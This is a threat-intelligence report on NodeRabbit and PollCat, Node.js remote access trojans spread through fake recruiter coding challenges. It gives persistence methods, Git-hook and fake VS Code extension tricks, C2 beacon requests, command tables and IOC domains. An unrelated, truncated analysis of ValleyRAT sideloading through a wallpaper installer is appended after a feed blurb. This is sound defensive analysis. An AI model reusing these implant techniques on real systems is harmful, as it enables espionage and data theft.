While monitoring Mirage Kitten activity, we uncovered a previously undocumented malware family that we dubbed NodeRabbit. We identified the first sample on a system in Afghanistan. Further threat hunting revealed two additional, more advanced, variants: one on a system in Egypt and another on a system in Ethiopia.

NodeRabbit is a cross-platform remote access trojan (RAT) built with Node.js. It targets Windows, Linux, and macOS. Its operators deliver it through spear-phishing messages on LinkedIn and other job search platforms that contain trojanized coding challenge archives.

During the same investigation, we discovered another previously undocumented malware family that we dubbed PollCat. Like NodeRabbit, PollCat is a cross-platform RAT, but it is written in obfuscated JavaScript also distributed through trojanized coding challenge archives.

Mirage Kitten has historically relied on native malware written in languages such as C, C++, and Go, often deploying it through DLL search-order hijacking. NodeRabbit and PollCat represent the first publicly documented use of Node.js- and JavaScript-based malware by this APT group.

Kaspersky’s products detect this threat as Trojan.JS.MirageKitten.*

Background

During recent threat research, we detected suspicious activity on a system in Afghanistan. We traced it to an archive containing a software development project that the user may have received during a job application process. The archive purported to contain a coding challenge for candidates applying for an engineering role.

The archive, Front-Technical-Challenge.zip (MD5: 1EA83E4E4592B01E4ACAB63EB867BEE5), was hosted in an Amazon S3 bucket at: https://oracle-challenge.s3[.]us-east-1.amazonaws[.]com/Front-Technical-Challenge.zip

It contained TaskFlow, an app for software engineering assessment built with Express, React, and Vite. The accompanying README instructed the candidate to review the application and fix defects in its frontend. It also claimed that server.js was bug-free and should not be modified, conveniently directing attention away from the only application source file the attackers had altered.

The README also imposed a three-hour time limit and prohibited the use of AI assistants. Notably, an AI code-review assistant tasked with auditing the project would likely have flagged the suspicious first-line import of an unknown npm package and warned the targeted developer that the project was trojanized.

The first line of server.js imported a trojanized npm package named colorized_terminal, version 2.1.0. The attackers bundled the package directly in the challenge task archive’s node_modules directory rather than publishing it to the npm registry. When imported, the package silently launched an implant from node_modules/.cache/.320697f1/index.js as a detached background process.

Retrospective threat hunting across our telemetry revealed the broader scope of the campaign. We identified three NodeRabbit variants with a shared code lineage; each was recovered from a system in a different country. The operators delivered the variants through similarly themed coding challenges and used two trojanized packages, colorized_terminal and pretty-log, both pinned to version 2.1.0.

The campaign also delivered PollCat, a second RAT with a substantially different structure, through a separate coding challenge lure. We’ll analyze PollCat later in this research.

Initial access

The infection chain begins with fake recruiter accounts contacting prospective targets on a job search platform. According to a publicly cited source, a threat actor posing as a talent acquisition specialist at a major technology company contacted a software engineer and advertised a job opening, inviting the target to complete a technical assessment.

The target received a link to a coding challenge hosted on Amazon S3 and was pressured to download and run the project immediately. This public post matches the delivery chain we reconstructed from our telemetry: recruiter outreach on a job search platform, a coding challenge presented as a technical assessment, and a trojanized project archive hosted on legitimate cloud infrastructure.

NodeRabbit RAT: the first variant

We discovered the first NodeRabbit variant on a system in Afghanistan. The malware was concealed within the TaskFlow assessment at node_modules/.cache/.320697f1/index.js and executed by the trojanized colorized_terminal package.

Once running, NodeRabbit generates a unique agent identifier from available host information. It calculates the SHA-256 hash of the hostname, username, operating system version, architecture, and MAC address, then truncates the result to its first 32 hexadecimal characters.

NodeRabbit binds a TCP listener to 127.0.0.1:48739. This listener acts as a single-instance mechanism. If the malware cannot bind to the port, it assumes that another instance is already running and terminates silently.

NodeRabbit uses a persistence mechanism for each operating system:

Operating system	Persistence mechanism
Windows	Copies itself to %APPDATA%\Microsoft\EdgeUpdate\msedge_update.js; clones the local node.exe to nodew.exe in the same folder and patches its PE subsystem from Console to Windows GUI to suppress the console window; creates HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdate registry key executing nodew.exe msedge_update.js
Linux	Copies itself to ~/.config/microsoft-edge-update/msedge_update.js and creates an @reboot cron entry that invokes the script using the current Node.js executable.
macOS	Copies itself to ~/.config/microsoft-edge-update, creates ~/Library/LaunchAgents/com.microsoft.edgeupdate.plist configuration file pointing at the copy’s location with RunAtLoad and KeepAlive parameters, and attempts to load it.

The malware communicates with its command-and-control servers through three API endpoints, choosing from the following Azure-hosted C2 infrastructure addresses. On failure, it switches to the next C2 address:

1.	https://plugplay.azurewebsites[.]net
2.	https://Rgbteller.azurewebsites[.]net
3.	https://Wslwebui.azurewebsites[.]net

Method	Endpoint	Purpose
POST	/api/rabbit/checkin	Register agent and host info
POST	/api/rabbit/task	Poll for commands
POST	/api/rabbit/result	Submit results

NodeRabbit serializes each C2 request object as JSON and wraps it with AES-256-GCM. The AES key is the SHA-256 digest of an ASCII seed embedded into the agent. Every request uses a fresh 12-byte IV and a 16-byte authentication tag:

The malware sends encrypted requests using the following structure:

{
  "d": "base64(IV || ciphertext || authentication_tag)",
  "_r": "8 hexadecimal characters",
  "_t": "epoch timestamp"
}

C2 responses are structured the same way and may contain a command to execute. We observed the first NodeRabbit variant supporting 11 commands:

Command	Functionality
sys:info	Return hostname, domain user information, username, and process ID.
proc:list	List running processes.
proc:start	Execute an arbitrary shell command.
fs:list	List a directory.
fs:read	Read a file in chunks and return Base64 data.
fs:write	Decode Base64 and write it at a chosen file offset.
fs:delete	Delete a file or recursively delete a directory.
fs:mkdir	Create directories recursively.
net:config	Enumerate adapters, MAC addresses, IP addresses, and DNS settings.
agent:sleep	Change the beacon interval.
script:exec	Write a base64 Node.js script to a randomly named .tmp file, execute it and delete it.

NodeRabbit RAT: the second variant

Retrospective threat hunting following the discovery in Afghanistan led us to a second infection on a system in Egypt. This sample is a more advanced NodeRabbit variant, launched through the trojanized pretty-log package instead of colorized_terminal.

Before running its core functionality, the malware checks whether the host resembles an analysis environment. It terminates if it detects limited system memory, a low CPU count, short system uptime, analyst-associated usernames or hostnames, or common analysis tools running on the system.

Before terminating, the malware generates benign HEAD requests to www.google.com, www.microsoft.com, and www.cloudflare.com, then exits without ever contacting its C2 infrastructure. Most likely, it attempts to look less suspicious by showing some benign activity before exiting.

Variant 2 implements partial corporate proxy support: it checks HTTP(S) proxy environment variables, Windows Internet Settings, including an explicit PAC URL, and WinHTTP configuration; tunnels its HTTPS C2 through HTTP CONNECT. It first tries to establish an unauthenticated connection. If it fails, it retries using URL-embedded basic credentials. Finally, it delegates Windows NTLM/Negotiate challenges to curl.exe --proxy-anyauth --proxy-user. It caches the proxy-discovery result, including when no proxy is found, for five minutes. If the polling loop detects a network-interface or IP-address change, it clears the cache and runs proxy discovery again on the next checkin.

To make sure a single instance is running, Variant 2 uses a host-specific port derived from the agent identifier instead of the fixed TCP port used by the first variant. It interprets the first four hexadecimal characters of the identifier as an integer and applies the following calculation: 41984 + (value mod 5000).

The resulting listener port falls between 41984 and 46983. Unlike the shared port used by Variant 1, this port varies depending on the infected host.

For persistence, Variant 2 masquerades as Intel Driver & Support Assistant. The exact persistence mechanism, once again, depends on the operating system.

Operating system	Persistence mechanism
Windows	Copies itself to %LOCALAPPDATA%\Intel\DSA\idriver_support.js. It then copies the local node.exe binary to IntelDSA.exe and changes its PE subsystem from Console to Windows GUI, suppressing the console window. Finally, it creates a scheduled task named IntelDriverSupportUpdate, which runs daily at 10AM and executes IntelDSA.exe with the dropped script.
Linux	Copies itself to ~/.config/intel-dsa/idriver_support.js and creates an @reboot cron entry.
macOS	Copies itself to ~/Library/Application Support/Intel DSA/idriver_support.js and creates the LaunchAgent com.intel.dsa.helper with RunAtLoad and KeepAlive enabled.

NodeRabbit RAT: the third variant

Further threat hunting identified a third NodeRabbit variant on a system in Ethiopia. Like the second variant, it is launched through the trojanized pretty-log package. It retains much of the previous variant’s functionality but introduces significant changes to its command-and-control configuration, command set, and persistence mechanisms.

The third variant communicates with its C2 infrastructure through a different set of API endpoints:

Method	Endpoint	Purpose
POST	/sdk/v2/ready	Register agent and host info
POST	/sdk/v2/config	Poll for commands
POST	/sdk/v2/events	Submit results

We observed the malware using a C2 chain composed of Azure- and Cloudflare-hosted domains.

1.	https://visitfinancedentists[.]com
2.	https://kyrasey-f8hfexa5cqamh7fk.westeurope-01.azurewebsites[.]net
3.	https://healthcomfsdpower[.]com

For persistence, Variant 3 implements the following mechanisms depending on the operating system in use:

Operating system	Persistence mechanism
Windows	Attempts to copy the payload to ProgramData or LocalAppData, create a build-specific daily 10AM task, and start the copied payload. To choose the exact directory, it tries to list C:\Windows\System32\config. If successful, it selects ProgramData with /ru SYSTEM /rl highest; in case of a failure, it selects LocalAppData without explicit /ru or /rl settings.
macOS	Copies the payload to ~/Library/Application Support, creates and loads a RunAtLoad/KeepAlive LaunchAgent and starts the copied payload.
Linux	Copies the payload to ~/.local/share, attempts to add an @reboot cron entry, and starts the copied payload. If crontab -l fails, persistence is skipped.
WSL	Uses the payload copied for persistence on the main Linux system, as described above. Writes launcher.vbs under the Windows user profile, and creates a daily 10AM Windows task that relaunches it through wscript.exe and wsl.exe.

A new command, agent:servers, replaces the active in-memory C2 server list and can write the updated list to .sv.json. The third variant retains the original 11 commands and adds 12 new ones, bringing the total to 23.

New commands	Functionality
fs:drives	Enumerate accessible Windows drive letters or WSL-mounted drives
proc:exec	Execute a process
proc:kill	Kill process by PID or image name
agent:servers	Replace the active C2 and attempt to keep the new configuration
agent:getchain	Return the current C2
outlook:emails	Harvest account addresses from Outlook OST and PST artifacts
persist:check	Check selected VS Code, scheduled-task, and Run-key persistence indicators
persist:vscode	Attempt to install a fake VS Code extension and Windows Run value
persist:vscode:remove	Remove the fake extension
persist:projects:scan	Search recent and common development locations for Git repositories
persist:project:inject	Inject a launcher into a repository’s Git hooks
persist:project:remove	Remove the marked Git-hook launcher

Beyond the persistence mechanisms described above, Variant 3 introduces two additional persistence mechanisms that relaunch the malware through common developer workflows.

1. Malicious VS Code extension

The persist:vscode command first copies the payload to its build-specific install path. If a compatible extension directory exists, it creates a fake extension displayed as GitHub Copilot Helper, with the description AI coding assistant helper service and the activation event on StartupFinished.

The extension’s extension.js file attempts to start the installed payload as a detached Node.js process. To look less suspicious to the user, it uses a trusted publisher name borrowed from local extension metadata or a trustedPublishers value found in state.vscdb. However, no signature or trusted status is copied.

Separately, the handler tries to disable Workspace Trust if the VS Code User directory exists. On Windows, it attempts to establish persistence using a current-user Run registry key value even if the extension directory is missing.

2. Git hook injection

Git-hook persistence works in two steps. First, persist:projects:scan checks recent VS Code workspace paths directly. Under common locations such as ~/projects and ~/source, it checks only the first 60 immediate children, not the root itself, and returns no more than 20 repositories.

For a selected repository, persist:project:inject appends a marked launcher to .git/hooks/post-merge and .git/hooks/post-checkout by default. The marker is # shepherd-persist; the line following the marker attempts to start the installed payload with Node in the background. A later Git operation must trigger one of those hooks, and the referenced Node executable and payload must still exist.

PollCat RAT

While tracking NodeRabbit infections, we discovered another malicious tool we dubbed PollCat, which is also distributed under the guise of a programming challenge. The sample we obtained resides inside RankChallenge-react, a React code-fixing challenge presented as a time-limited developer assessment. Running the project invokes npm i && node index.js, which starts the local application and attempts to open the challenge in the user’s browser.

Although the visible exercise is not a security CTF, the project uses CTF terminology in several places. The root package is named ctf-server, the backend prints CTF server running, the frontend uses several ctf-* storage keys, and the tutorial refers to path/to/ctf. These repeated labels, together with instructions that do not fully match the delivered application, are consistent with an AI-assisted or template-generated project. One possible explanation is that the attacker prompted an AI coding assistant to create a CTF-style React platform and later inserted the malicious components.

The PDF tutorial contained in the same archive as the project tells the target to click Continue, enter a six-digit OTP code, and complete the challenge within a one-hour session. It states that codes are supplied by the recruiter, are single-use, and expire quickly; the visible login page also claims that codes rotate every 30 seconds. In the delivery scenario described by the investigation, the threat actor posing as a recruiter could provide the code directly to the targeted developer. This gives the operator control over access to the lure, while the expiring code and countdown create a sense of urgency, pressuring the target to run the project and complete the assessment quickly, potentially accelerating the infection process.

One-hour session window enforced by the trojanized coding challenge

The bundled .env file contains the JWT signing secret, OTP service URL, and OTP client ID.

Configuration embedded in .env file of the trojanized coding project, including the OTP service URL and client identifier

The application forwards submitted codes to an attacker-managed domain registered in late June-2026: https://lifespotify[.]com/api/users/b879746e-fed9-4211-a6da-4d8223681267/otp/validate.

That said, PollCat starts independently of the OTP authentication process. During application startup, app.js loads requireAuth.js, which imports and immediately starts the malicious requireObjects.js component. PollCat can therefore begin C2 registration and command polling while the application is still loading, before the user enters an access code.

A failed OTP validation prevents the user from accessing the protected challenge features, but PollCat continues running in the background. A successful OTP validation issues a JWT and creates another worker that starts an additional PollCat instance. The first authenticated request also triggers the persistence attempt.

Persistence starts when the first request carrying a valid JWT reaches the protected middleware. PollCat then uses one of the following methods:

Operation system	Persistence mechanism
Windows	Writes package.json and requireObject.js to %APPDATA%\Microsoft\Network, runs npm install, and creates a daily task named NetSync_<username> and scheduled for 09AM that runs the worker with Node.js.
Linux	Writes the worker to ~/.node_packages, runs npm i, and appends both a daily 09AM cron line and an @reboot line.
macOS	Uses the same ~/.node_packages copy and cron path, then creates and loads ~/Library/LaunchAgents/com.harsh.requireobject.plist with RunAtLoad and a daily 09AM trigger.

Once active, PollCat identifies the host as 129--<hostname> and iterates over the following C2s until registration succeeds:

1.	https://sahi-finance[.]com
2.	https://GamebarAppinformation[.]azurewebsites[.]net
3.	https://GamebarApp[.]azurewebsites[.]net

To register, it sends the following HTTP request to the C2:

POST /beacon HTTP/1.1
Host: <c2-host>
Content-Type: application/json

{"clientId":"<client-id>","type":"poll","pcName":"<hostname>","userName":"<username>"}

On successful registration, PollCat expects an unusual HTTP 400 response containing a socket identifier and optional timing values:

HTTP/1.1 400
Content-Type: application/json

{"socketId":"<socket-id>","pollInterval":<poll-interval-ms>,"jitterTime":<jitter-ms>}

After registration, PollCat sends host information to /gate/hello, polls /gate/fetch for commands, and returns results through /gate/submit. All endpoints in use are presented in the table below.

Method	Endpoint	Purpose
POST	/beacon	Register the client and obtain a socketId and optional timing values.
POST	/gate/hello	Submit host, user, domain, OS information, and its current privilege level.
GET	/gate/fetch?token=<socketId>	Poll for commands.
POST	/gate/submit	Submit a Base64-encoded command-result structure.
GET	/vault/<uuid>	Retrieve a hosted file and write it to the victim machine.
PUT	/vault/push/	Upload a local file or file chunk to the C2.
POST	/gate/track	Report chunk-upload progress.

By default, PollCat RAT polls every two minutes with up to five seconds of jitter. Commands and results are stored as little-endian binary records and carried as Base64 text.

PollCat RAT declares 22 commands, but three of them have no implementation:

Command	Functionality
0x02 (DIR)	List a directory.
0x03 (MV)	Move a file or directory.
0x04 (RUN)	Execute a shell command.
0x05 (TASKLIST)	List running processes.
0x06 (DEL)	Delete a file or directory.
0x07 (UPLOAD)	Download a file from the C2 to the victim’s machine.
0x08 (DOWNLOAD)	Upload a local file to the C2.
0X09 (DRIVES)	List drives, volumes, or mount points.
0X0A (TERMINATE)	Terminate a process by PID.
0X0B (RUNDLL)	Load a DLL and call an exported function on Windows.
0X0C (MKDIR)	Create a directory.
0X0D (ZIP)	Create or extract a ZIP archive.
0X0E (CHUNKED_DOWNLOAD)	Upload a local file in chunks.
0X0F (RUN_HIDDEN)	Start a hidden background process.
0X20 (EVAL_JS)	Execute JavaScript supplied by the C2.
0X30 (SYSTEM_CHECK)	Collect process and software inventory.
0XA1 (WS_DOWNLOAD)	Defined but not implemented.
0xB0 (REQUEST_ELEVATION)	Defined but not implemented.
0XB1 (PERSIST)	Defined but not implemented.
0xF0 (SET_SLEEP_TIME)	Change the polling interval.
0XF1 (SET_IDLE_TIME)	Store an idle-time value.
0xF2 (SET_JITTER_TIME)	Change polling jitter.

The command names UPLOAD, DOWNLOAD, and CHUNKED_DOWNLOAD are written from the C2’s perspective. UPLOAD sends a C2-hosted file to the victim’s machine, while the two download commands transfer victim files back to the C2.

EVAL_JS runs JavaScript supplied by the C2 and gives that code access to Node.js modules, files, processes, networking, and child-process functions.
SYSTEM_CHECK collects the names of running processes and lists files and folders from:

• %SystemDrive%\Program Files
• %SystemDrive%\Program Files (x86)
• %LOCALAPPDATA%
• %LOCALAPPDATA%\Programs
• %APPDATA%
• %USERPROFILE%
• %APPDATA%\Microsoft\Outlook
• %LOCALAPPDATA%\Microsoft\Olk\Attachments
• %USERPROFILE%\Documents

It also searches for folders matching 24 hardcoded strings corresponding to security software vendor names: ‘Google’, ‘Microsoft’, ‘Palo Alto Networks’, ‘Cisco’, ‘VMware’, ‘Fortinet’, ‘Citrix’, ‘CheckPoint’, ‘Juniper Networks’, ‘LogMeIn’, ‘Sophos’, ‘Symantec’, ‘Trend Micro’, ‘McAfee’, ‘Kaspersky Lab’, ‘ESET’, ‘Bitdefender’, ‘Avast Software’, ‘CrowdStrike’, ‘SentinelOne’, ‘Malwarebytes’, ‘BraveSoftware’, ‘Tencent’, and ‘Naver’.

When PollCat finds a matching folder, it lists that folder’s root contents. It does not recursively scan the entire product directory. The detailed inventory, including process names, directory listings, and collected paths, is sent as JSON to POST /api/system-details/result.

Infrastructure

Mirage Kitten continues to rely on Azure Websites and Cloudflare-backed domains to hinder infrastructure discovery and tracking. More importantly, the use of Microsoft Azure subdomains for C2 helps the traffic blend into legitimate organizational network activity. In some cases that we encountered during our research, the actors even incorporated the targeted organization’s name into the Azure subdomain, making C2 communications appear more like normal business traffic originating from an employee machine during regular business days.

Domain	Registrar	ASN	Malware sample
naturalapplication.azurewebsites[.]net retaildemo.azurewebsites[.]net tubitak.azurewebsites[.]net	MarkMonitor Inc.	AS 8075	NodeRabbit RAT sample 1
rgbteller.azurewebsites[.]net wslwebui.azurewebsites[.]net plugplay.azurewebsites[.]net	MarkMonitor Inc.	AS 8075	NodeRabbit RAT sample 2
crossdwm.azurewebsites[.]net wdisystem.azurewebsites[.]net wslmenus.azurewebsites[.]net	MarkMonitor Inc.	AS 8075	NodeRabbit RAT sample 3
dnshnsdev.azurewebsites[.]net hpjumpsrv.azurewebsites[.]net storview.azurewebsites[.]net	MarkMonitor Inc.	AS 8075	NodeRabbit RAT sample 4
healthcomfsdpower[.]com visitfinancedentists[.]com	NameCheap, Inc.	AS 13335	NodeRabbit RAT sample 5
kyrasey-f8hfexa5cqamh7fk.westeurope-01.azurewebsites[.]net	MarkMonitor Inc.	AS 8075
greenyjsgfd.azurewebsites[.]net helptellerbls.azurewebsites[.]net timedrv.azurewebsites[.]net userwellgtfs.azurewebsites[.]net	MarkMonitor Inc.	AS 8075	NodeRabbit RAT sample 6
hecowime-aqdphyd4bbdef6es.westeurope-01.azurewebsites[.]net msmanagementgrp[.]com msmanagementgrpmedia[.]com	MarkMonitor Inc.	AS 8075	NodeRabbit RAT sample 7
lifespotify[.]com	Dynadot	AS 8075	PollCat RAT
gamebarapp.azurewebsites[.]net gamebarappinformation.azurewebsites[.]net	MarkMonitor Inc.
sahi-finance[.]com	NameCheap, Inc.

Based on our analysis of Mirage Kitten’s infrastructure, we identified certain patterns across several command-and-control channels, including msmanagementgrp[.]com and visitfinancedentists[.]com

Further investigation based on these patterns led to the discovery of approximately 11 additional infrastructure assets attributed to the same group.

Domain	Creation date	Registrar
healthful-hub[.]com	2026-07-03	NameCheap, Inc.
neumedicahealthcare[.]com	2026-07-03	NameCheap, Inc.
optimumhealthcredit[.]com	2026-07-03	NameCheap, Inc.
healthfullyrecipes[.]com	2026-06-30	NameCheap, Inc.
refreshhealthandwellness[.]com	2026-06-09	NameCheap, Inc.
healthvitalitycare[.]com	2026-05-18	NameCheap, Inc.
aceofspadesmanagement[.]com	2026-05-18	NameCheap, Inc.
glmediaagency[.]com	2026-05-18	NameCheap, Inc.
digimediaskill[.]com	2026-05-18	NameCheap, Inc.
healthyweightplan[.]com	2026-05-18	NameCheap, Inc.
mens-health-online[.]com	2026-05-15	NameCheap, Inc.

Victims

Based on our telemetry, we identified victims in fintech, aviation and aerospace sectors across the Middle East and Africa – specifically, in Egypt, Ethiopia and Afghanistan.

We also observed submissions of ZIP archives with trojanized projects containing NodeRabbit and PollCat to an online multi-scanner originating from several countries, including India, Türkiye, Israel, Iraq, Germany, and Ireland.

Attribution

We attribute this activity to Mirage Kitten with a high degree of confidence based on the following observations:

1. Structural similarities with the Retrograde/MiniFast native DLL backdoor (MD5:810F8E3B88EB05F710C09552941D6F56)
   • Initial C2 handshake and session establishment logic. Both PollCat and Retrograde/MiniFast follow a similar C2 handshake flow. Each builds a JSON request body containing host information and sends it via an HTTP POST request. Notably, both treat HTTP 400 as a successful handshake response rather than an error, parsing the response body to extract a socketId, which is then stored and used as the session token for subsequent C2 communication.
     

     Similar C2 handshake and socketId session establishment logic in MiniFast/Retrograde and PollCat

   • Host registration. Both PollCat and Retrograde/MiniFast register the infected host with the C2 server by sending a structurally similar JSON request body containing the session token and host information.
     

     Malware	Host registration request body	C2 endpoint
     PollCat	{“token”:”<socketId>”,”pcName”:”<host>”,”userName”:”<user>”,”domainName”:”<domain>”,”os”:”<os>”,”isElevated”:false}	/gate/hello
     MiniFast/Retrograde	{“token”:”<socketId>”,”pcName”:”<host>”,”userName”:”<user>”,”domainName”:”<USERDOMAIN>”,”isElevated”:<bool>}	/agent/init

   • Command fetching similarities. The similarities extend to command retrieval. Both PollCat and Retrograde/MiniFast periodically poll the C2 server using an HTTP GET request containing the previously assigned socketId as a token. Retrograde/MiniFast uses GET /agent/poll?token=<socketId>, while PollCat follows the same pattern with GET /gate/fetch?token=<socketId>, demonstrating a closely aligned C2 communication structure.
   • Beacon timing similarities. PollCat and the Retrograde/MiniFast share identical beacon timing defaults: a polling interval of 120,000 ms (0x1D4C0), a jitter of 5,000 ms (0x1388), and a retry timeout of 60,000 ms (0xEA60). This further highlights the structural similarities between the two C2 communication implementations.
   • Command set similarities. PollCat and Retrograde/MiniFast share several commands and command IDs. Notably, PollCat declares REQUEST_ELEVATION (0xB0) and PERSIST (0xB1) but does not implement them. In MiniFast, both are functional: 0xB0 performs UAC elevation, while 0xB1 creates the WindowsSecurityUpdate scheduled task for persistence.
     

     Command set similarities between MiniFast/Retrograde and PollCat, including shared command identifiers

   • Proxy authentication similarities. NodeRabbit delegates corporate-proxy NTLM/Negotiate authentication to curl.exe --proxy-anyauth --proxy-user, using the victim’s logon session. Retrograde/MiniFast native DLL implements the same approach natively through WinHttpQueryAuthSchemes and WinHttpSetCredentials with NULL credentials. This shared proxy-aware C2 design suggests the same development approach across both malware families.
2. Speaking of victimology, the attacks are consistent with Mirage Kitten’s known geographic targeting, with the group maintaining a strong focus on entities across Africa and the Middle East, this time with a particular focus on the aviation and FinTech sectors.
3. As for the operational infrastructure, Mirage Kitten has historically hosted its initial ZIP lures on legitimate third-party services. Previously, it used onlyoffice.com for this purpose. In this activity, the group shifted to Amazon S3 buckets.
4. Finally, the combination of Azure Websites and Cloudflare‑backed domains has been a hallmark of Mirage Kitten’s TTPs, which we have observed across NodeRabbit and PollCat.

Conclusions

Mirage Kitten’s latest activity marks a notable evolution in the group’s tooling: NodeRabbit and PollCat are the group’s first Node.js/JavaScript-based implants, departing from its usual native malware deployed through DLL search-order hijacking. The shift to cross-platform scripting gives the operators a single codebase that runs on Windows, Linux, and macOS, with payloads that blend naturally into developer workstations.

The delivery mechanism, however, remains consistent with Mirage Kitten’s historical tradecraft: the use of recruiter personas on LinkedIn to target critical sectors across the Middle East and Africa for cyberespionage purposes. We continue to track the group’s activity and will report on new developments in future publications.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

CBAAF0900A13F28E380F49ADECEC932C  FrontEnd-Task.zip
1EA83E4E4592B01E4ACAB63EB867BEE5  Front-Technical-Challenge.zip
366515822D5AC1CC500711EF57A2E32E  Task-FullStack.zip
CF449F1992C2819E62AC44A0B06AC2E7  fullstack-1536.zip
E95A4366686E3F786EA3C056FAB5B0DA  webapp76592.zip
DE5AF16A3757EF700B01DC34D67079AE  webapp76531.zip
BE086789568441D0D7E4679AEE51F566  challenges-17831.zip
E259C5EDF158AAC4CFE14F77DDD0B196  challenges-17832.zip
291AC3ABE73C5158E59A437B75D5F0AA  Project-1802.zip
0962F56D7EC69F4F2A0162DCBE22116B  Case-34234.zip
795E053A990A1569FFDCB57F48F6D085  RankChallenge-react-6uJSX3-main.zip

Domains and IPs

oracle-challenge.s3[.]us-east-1.amazonaws[.]com
naturalapplication.azurewebsites[.]net
retaildemo.azurewebsites[.]net
tubitak.azurewebsites[.]net
rgbteller.azurewebsites[.]net
wslwebui.azurewebsites[.]net
plugplay.azurewebsites[.]net
crossdwm.azurewebsites[.]net
wdisystem.azurewebsites[.]net
wslmenus.azurewebsites[.]net
dnshnsdev.azurewebsites[.]net
hpjumpsrv.azurewebsites[.]net
storview.azurewebsites[.]net
healthcomfsdpower[.]com
visitfinancedentists[.]com
kyrasey-f8hfexa5cqamh7fk.westeurope-01.azurewebsites[.]net
greenyjsgfd.azurewebsites[.]net
helptellerbls.azurewebsites[.]net
timedrv.azurewebsites[.]net
userwellgtfs.azurewebsites[.]net
hecowime-aqdphyd4bbdef6es.westeurope-01.azurewebsites[.]net
msmanagementgrp[.]com
msmanagementgrpmedia[.]com
lifespotify[.]com
gamebarapp.azurewebsites[.]net
gamebarappinformation.azurewebsites[.]net
sahi-finance[.]com
healthful-hub[.]com
neumedicahealthcare[.]com
optimumhealthcredit[.]com
healthfullyrecipes[.]com
Refreshhealthandwellness[.]com
healthvitalitycare[.]com
aceofspadesmanagement[.]com
glmediaagency[.]com
digimediaskill[.]com
healthyweightplan[.]com
mens-health-online[.]com

Learn how the Spring Ring campaign abuses Microsoft Teams and voice phishing to deploy malware and target enterprise domain controllers.

The post Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams appeared first on Unit 42.

Attackers typically try to pass off malware as legitimate applications or as potentially unwanted programs that users deliberately search for and download, such as cheats or cracks. They often rely on ad and affiliate networks to deliver their creations to victims’ devices. This post examines a less conventional case: a well-known backdoor distributed under the guise of adware. The attackers may have chosen this distribution method because the adware was signed by the developer. On top of that, users often manually add these apps to exclusions, so their useful features don’t get blocked.

Some time ago, a client asked us to analyze a file with the MD5 hash c24e99f9437feacaa63766a3cde3fe3d and add it to our detection database. We initially classified it as adware, but a cursory analysis turned up suspicious network activity, which prompted us to dig deeper. It turned out the sample did far more than serve ads. In fact, its advertising functionality doesn’t even work; instead, it triggers an infection chain that delivers the ValleyRAT backdoor.

Malicious installer

The file the client shared with us turned out to be an installer that performed different actions depending on the two-letter suffix used in the file name, positioned just before the numeric string.

Installer name	What it does
FS_SETUP_DD_173.exe	Installs DingTalk, a workplace collaboration platform
FS_SETUP_GG_173.exe	Installs Google Chrome
FS_SETUP_HY_173.exe	Opens hxxps://meeting[.]tencent[.]com/download/

These actions are most likely designed to divert the user’s attention away from the sample’s malicious functionality. Regardless of the file name, the installer deploys a modified Chinese desktop wallpaper management tool called QN Wallpaper (hxxps://qnwallpaper[.]keansoft[.]cn/) and adds it to the registry’s autorun entries.

The original version of QN Wallpaper is genuine adware: on installation, it delivers bundled partner apps to the device and then displays ad banners to the user. In this case, however, the attackers use it to carry out DLL sideloading, a technique that allows malicious code to run under the guise of a signed process by way of a malicious DLL.

The QN Wallpaper modules, along with the malicious components, are unpacked to C:\Program Files\QNWallpaper\5.4.0.1662\<random string of letters and digits>. The following files are saved in that directory:

File name	MD5	Purpose
1.zip	7ad1e3ef4e6d9d636c9e7e967733850e	Archive containing the adware files QnWallpeper.exe and QnwPlayer.exe, along with the modules needed to run them
7z.dll	96b4c1d0683dce22bd3223e1e40689c1	7z archiver library
7z.exe	9b86d3ab6cef15c633933fbbeab39c0a	Archiver
chrome_elf.dll	edfdc30cbd85879776b8f735ea7de1f1	Library used to launch Electron-based applications
libcef.dll	07ddbbe2c71c45577a7a4fbcdba0df91	Malicious library
PeLoader	48826d5ca845979d2e6ebd66dc1aae90	File containing the encrypted backdoor
QnWallpaper.exe	6c158c0f8e029342192d4f0d72e102b7	Adware module
QnwPlayer.exe	9a71d6a41cd258b9e89cdc5fc224de73	Adware module
<random string of letters and digits>Nedca.exe	c24e99f9437feacaa63766a3cde3fe3d	Malicious installer copy

After unpacking, the installer uses the DisableAntiSpyware registry key to disable Windows Defender and then launches QnWallpaper.exe.

DLL Sideloading via libcef.dll

QnWallpaper.exe has dependencies in libcef.dll, so this library gets loaded when the process starts. QnWallpaper.exe also launches QnwPlayer.exe, which likewise calls libcef.dll.

QnWallpaper and QnwPlayer won’t actually function correctly, because the functions exported from libcef.dll are put into an infinite sleep. However, in case that sleep is ever interrupted, the attackers have implemented a function that loads all the necessary functions from the original library into memory, provided it can locate that library on the system.

The malicious functionality in libcef.dll is invoked by a call to DllMain, which runs automatically when the library is loaded. That said, alongside the original exports, the library also contains a function named RunDLL, which likewise initiates execution of the malicious code. QnWallpaper never calls this function. We suspect the attackers intended to invoke it manually via rundll32 or planned to use a separate executable for this purpose, one that wasn’t included in the package downloaded by the sample.

Running the malicious code

When the library is loaded, code runs that ensures QnWallpaper.exe persists at startup: it adds a file extension association and drops a file with the corresponding extension in C:\Documents and Settings\<username>\Start Menu\Programs\Startup\.

This is followed by a chain of wrapper functions whose main job is to call the next one. Execution eventually reaches the function that contains the actual malicious code. For convenience, we’ll refer to it as mw_entry.

Inside mw_entry, the malware checks two things:

• Whether the current user belongs to the Administrators group
• Which process the DLL is running inside

If the user isn’t a member of the Administrators group, the program attempts to obtain administrator privileges by using the runas utility.

Once it has administrator privileges, the malicious code determines which process the DLL has been loaded into, and selects the payload accordingly:

• If the library is running inside QnWallpaper.exe, the payload is loaded from the PeLoader file.
  

  Encrypted payload

• If the library is running inside QnwPlayer.exe, the payload is loaded from libcef.dll resources.
  

  Retrieving the payload from a resource

Both payloads are AES-encrypted DLLs that contain the ValleyRAT backdoor. The only difference between them is their configuration, specifically, the C2 server addresses. After decryption, libcef.dll checks the magic signatures in the resulting PE file’s headers to confirm the sample is valid. If this check fails, the library releases its resources and takes no further action.

If the headers check out, libcef.dll loads the payload into the process’s memory space and hands control over to the backdoor by calling DllMain.

ValleyRAT

ValleyRAT begins its operation by parsing its configuration, which consists of key:value pairs concatenated into a single string. To obfuscate this configuration, the attackers wrote the string in reverse.

